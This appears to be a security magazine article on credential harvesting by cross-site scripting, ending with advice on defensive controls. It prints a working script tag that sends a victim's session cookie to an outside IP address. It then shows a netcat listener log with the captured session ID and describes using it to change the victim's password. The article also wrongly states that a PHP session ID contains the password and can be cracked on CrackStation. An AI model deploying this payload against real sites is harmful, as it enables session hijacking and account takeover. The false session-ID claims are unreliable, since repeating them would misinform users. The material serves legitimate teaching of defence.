Credential harvesting at the network interstice

Where the Wild Things Are

An Applied Example

Suppose a user, who I will call the "extranet client," has logged in to a legitimate session with a second system, as shown in Figure 6. This person is going to be the victim system. System 2 is the legitimate company extranet. System 3 is the server with the bad script, and system 4 is the credential harvester's system. This is a simple example. All the attacker needs to do is create a file that contains the "bad script," as in the following JavaScript:

<script>new Image ().src="http://185.25.54.55:8080/"+document.cookie;</script>

Figure 6: Diagram of an XSS attack.

Using this bad script, a credential harvester can create a simple HTML5 – or even just a simple text – file and somehow convince a user to click on it. The victim's browser will immediately open a connection to port 8080 of the attacker's 185.25.54.55 system.

The victim has now created a new connection to the attacker's system. Furthermore, the attacker, who is now listening to port 8080, his attacking system, now has the user's session key and has access to the session cookie that the victim obtained during their legitimate session. This particular attack is relatively attractive, because it distributes the attack over several systems, making the connection somewhat more difficult for security information event monitor (SIEM) and intrusion detection tools to discover.

To listen for the session cookie, all the attacker needs to do is listen for the connection with an application such as Netcat. The session information that the attacker receives will appear similar to Listing 1.

Listing 1

Session Information

james@185.25.54.55:~$ sudo netcat -lvp 8080
Listening on [0.0.0.0] (family 0, port 8080)
Connection from 73.181.184.225 55592 received!
GET / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=bv3jerd7e9s2hsi2hs8cv2r7ua; security=impossible
208.54.155.25/scripts/csrf/

The key information in this connection is that the website uses PHP and keeps its PHP scripts in the /scripts/csrf/ directory, right off of the web server's /html/ directory. Also critical is the cookie information, which in this case gives the session ID (PHPSESSID), as well as the level of security. Now the harvester knows how system 2 (the one with IP address 208.54.155.25) communicates.

Exploiting the Web Session Syntax

Now, the credential harvester can do any number of things. With access to PHPSESSID, which in this case includes the password the victim uses to log in to system 2, the attacker can simply enter this particular session ID into a website (e.g., http://crackstation.net ), which obtains the password from PHPSESSID.

If the credential harvester wants to go further, they can even change the password of the user currently accessing system 2 (the company extranet server), as long as two conditions are in effect: (1) the user is still logged in and (2) the session ID information is current. In many sessions, the session ID will time out eventually (e.g., after 15 minutes).

Figures 7 and 8 provide a simplified example of how an attacker can use PHPSESSID information to manipulate an active session. In Figure 7, the credential harvester is listening for a PHP session on port 1234. The session information appears in the cookie – in this case, the PHPSESSID at the bottom of the image. With this information and the metadata information obtained from either Wireshark or Burp Suite, it is possible to wage the attack, as shown in Figure 8.

Figure 7: Listening for a PHP session with Netcat.

Figure 8: The curl command can be used to change a password for an active session.

Using the curl command, the credential harvester in this case has imitated the PHP session and changed the password. Now, the legitimate user of this particular site will find that their password does not work.

Conclusion

Credential harvesting occurs in various forms, and it's up to you to determine the best way to respond to it. Formulate and base your response according to the most important resources you need to protect and focus on those. Identify how credential harvesters can best use information against those resources, and apply the most appropriate security controls (see the "Security Controls and Credential Harvesting" box).

Security Controls and Credential Harvesting

Enhanced encryption is the primary control for thwarting brute forcing and dictionary attacks. However, even that can fail. Proxy servers can also help, because they have the ability to review the content of web-based transactions automagically and identify brute force attacks, which are repetitive by nature. However, even the most impressive proxy servers can miss more subtle attacks.

Once someone has brute forced a web transaction, there's really no way to resolve that issue inside of the browser itself. In other words, even updating the browser's code won't resolve the issue. At this point, you'll need to make sure that you have applied relevant security controls to your authentication services, including using two factor authentication, monitoring tools such as a SIEM application (e.g., Splunk or AlienVault), or even an intrusion detection system (e.g., Snort).

Hackers can continue using the age-old EternalBlue attack and go after unpatched Windows 10 systems, or even the Windows 7 systems that will, most likely, be around for some time. They can always insinuate their way into the hearts of operating systems and browsers through social engineering, but if you learn more about the techniques these harvesters use, you can then apply the appropriate controls.

Infos